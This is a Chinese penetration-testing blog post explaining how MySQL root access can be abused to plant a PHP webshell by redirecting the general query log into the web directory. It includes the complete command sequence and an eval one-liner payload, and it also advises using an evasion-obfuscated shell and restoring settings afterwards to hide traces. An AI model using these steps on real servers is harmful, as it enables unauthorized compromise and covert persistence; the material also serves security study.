文章来源:lsh4ck's Blog
前言须知
在上半部分,我们详细说明了 mysql 在 root 权限下如何读写文件,开启外连,这次我们就来简单说明如何通过 mysql 的 log 功能写 shell 以及如何利用 udf 执行系统命令
日志写,利用核心
利用 mysql 的 general log 功能来写 shell,其实,核心很简单,当你把这个开关开启以后,它自动把所有执行过的 sql 语句都记录到一个指定的文件里去,具体怎么利用呢,其实也很简单,由于 mysql 的 root 权限是可以随意修改 mysql 内部配置,也就是说我完全可以把原来默认的日志文件位置给替换掉,然后重新指向到目标网站目录中,这样我再随便去 select 个一句话,这个一句话自然也就直接进到你 set 的那个目标网站目录里的日志文件了,另外,这儿还有一个很重要的前提,就是你在数据库中 set 到的那个目录,对你当前数据库服务用户一定要是可写的,不然同样写不进去,具体操作,如下
1 2 3 4 5 6 7 |
mysql> show variables like ‘%general%’; mysql> set global general_log = on; mysql> set global general_log_file = ‘/var/www/loveshell.php’; mysql> select ‘<?php @eval($_POST[klion])?>’; $ sudo cat /var/www/loveshell.php mysql> set global general_log_file = ‘/var/run/mysqld/mysqld.log’; mysql> set global general_log = off; |
上来先看下目标数据库默认的日志存放路径在哪儿,顺手记录下来,等会儿干完活儿还要恢复回来
开启 mysql log 功能,把 log 文件指向到目标的网站目录中,你自己实战时,可能会发现通常都是 set 不进去的,其实原因很明显,大多数都由于当前的 mysql 服务用户对网站目录没有写权限,具体效果如下,说到这里,相比大家也应该很清楚了,其实你要想把这种方法利用成功,可能需要目标 web 服务本身有很高的系统权限,比如,像 appserv 之类的集成环境,在 windows 中默认就是 system 权限,很容易就拿到 shell 了,如果就是个数据库服务用户权限,而且这个用户对网站目录还不能写,那基本也是很难利用上的
为了继续我们的演示效果,这里我就先手动把网站目录给下其它人可写的权限
这时候我们再次尝试set,就可以顺利set进去了,这时直接select个一句话,实际中最好select个免杀一句话
然后再到我们刚刚 set 的日志文件中,看看我们的一句话到底有没有被记录,从下图可知,我们的一句话已经被正常记录了日志文件中
尝试访问我们的一句话,看到下面的返回就则说明我们的一句话已经被正常执行,实际中可能并不会这么轻松,如果目标访问量比较大,短时间 log 文件可能会比较大,在用菜刀或者别的连一句话的时候不免会有些卡
最后,一定要记得把我们刚刚修改的配置再顺手恢复回来,活儿一定要干净,实际渗透中,最好养成这样的习惯,不然,辛苦弄到的权限也许就因为自己的粗心掉了,岂不尴尬
你可能喜欢